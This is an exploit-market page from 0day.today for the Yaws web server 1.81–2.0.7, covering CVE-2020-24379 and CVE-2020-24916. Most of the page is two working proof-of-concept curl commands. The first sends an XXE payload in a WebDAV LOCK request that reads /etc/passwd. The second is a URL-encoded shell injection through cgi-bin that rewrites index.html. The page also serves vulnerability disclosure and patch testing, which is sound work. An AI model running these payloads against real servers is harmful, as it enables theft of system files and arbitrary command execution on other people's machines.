[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Yaws 2.0.7 XML Injection / Command Injection Vulnerability

Author
Alexey Pronin
Risk
[
Security Risk High
]
0day-ID
0day-ID-34916
Category
web applications
Date add
08-09-2020
CVE
CVE-2020-24379
CVE-2020-24916
Platform
php
# Exploit Title: Multiple vulnerabilities in Yaws web server
# Exploit Author: Alexey Pronin (vulnbe)
# Vendor Homepage: http://yaws.hyber.org/
# Software Link: https://github.com/erlyaws/yaws
# Versions affected: 1.81 - 2.0.7
# CVE: CVE-2020-24379, CVE-2020-24916

1. Description:
----------------------

Yaws versions 1.81 to 2.0.7 are vulnerable to XXE and OS command injections.

2. XXE injection Proof of Concept (CVE-2020-24379)
----------------------

curl -i -s -k -X LOCK http://localhost:8000/ -H 'Timeout: Second-1' \
  --data-binary @- << EOF
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "file:///etc/passwd">
]>
<d:lockinfo xmlns:d="DAV:">
  <d:lockscope><d:exclusive/></d:lockscope>
  <d:locktype><d:write/></d:locktype>
  <d:owner>
  <d:href><r>&sp;</r></d:href>
  </d:owner>
  </d:lockinfo>
EOF

3. OS command injection Proof of Concept (CVE-2020-24916)
----------------------

curl 'http://127.0.0.1:8000/cgi-bin/%22%60export%20Z=$(pwd%7Ccut%20-c1);echo%20pawned%20completely%3E%3E..$Z%22%22index.html%60%22'

4. References
----------------------

* Vulnerability details: https://vuln.be/post/yaws-xxe-and-shell-injections/
* XXE injection PoC: https://github.com/vulnbe/poc-yaws-dav-xxe)
* Shell injection PoC: https://github.com/vulnbe/poc-yaws-cgi-shell-injection

#  0day.today [2024-09-28]  #